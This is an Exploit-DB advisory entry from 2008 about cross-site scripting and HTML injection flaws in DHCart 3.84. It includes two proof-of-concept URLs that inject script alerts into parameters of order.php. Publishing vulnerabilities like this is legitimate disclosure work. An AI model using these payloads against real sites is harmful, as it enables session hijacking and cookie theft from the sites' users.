DHCart 3.84 - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities

EDB-ID:

32567


Author:

Lostmon

Type:

webapps


Platform:

PHP

Date:

2008-11-04


source: https://www.securityfocus.com/bid/32117/info

DHCart is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

DHCart 3.84 is vulnerable; other versions may also be affected.

http://www.example.com/order.php?dhaction=check&submit_domain=Register&domain=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E&ext1=on

http://www.example.com/order.php?dhaction=add&d1=lalalalasss%22%3E%3Cscript%3Ealert(1)%3C/script%3E&x1=.com&r1=0&h1=1&addtocart1=on&n=3